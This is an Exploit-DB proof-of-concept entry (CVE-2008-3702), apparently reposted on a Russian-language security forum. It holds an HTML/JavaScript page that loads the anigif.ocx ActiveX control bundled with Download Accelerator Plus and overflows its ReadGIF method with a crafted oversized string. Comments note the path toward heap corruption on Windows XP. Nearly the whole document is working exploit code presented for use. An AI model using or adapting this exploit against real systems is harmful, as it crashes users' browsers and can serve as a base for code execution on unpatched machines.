- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 6216
- Проверка EDB
-
- Пройдено
- Автор
- GUIDO LANDI
- Тип уязвимости
- DOS
- Платформа
- WINDOWS
- CVE
- cve-2008-3702
- Дата публикации
- 2008-08-10
HTML:
<html>
<body>
<object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' />
</object>
<script language=javascript>
// anigif.ocx by www.jcomsoft.com can be found distribuited with some applications,
// I found it in Download Accelerator Plus 6.8.
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods,
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap
// overflow scenario.
var buf;
for (var i=0; i<259; i++) buf += "X";
buf +="BBBB";
buf += "CCCC";
for (var i=0; i<5728; i++) buf += "H";
target.ReadGIF(buf);
window.location = "http://www.google.com";
</script>
</body>
</html>
# milw0rm.com [2008-08-10]- Источник
- www.exploit-db.com
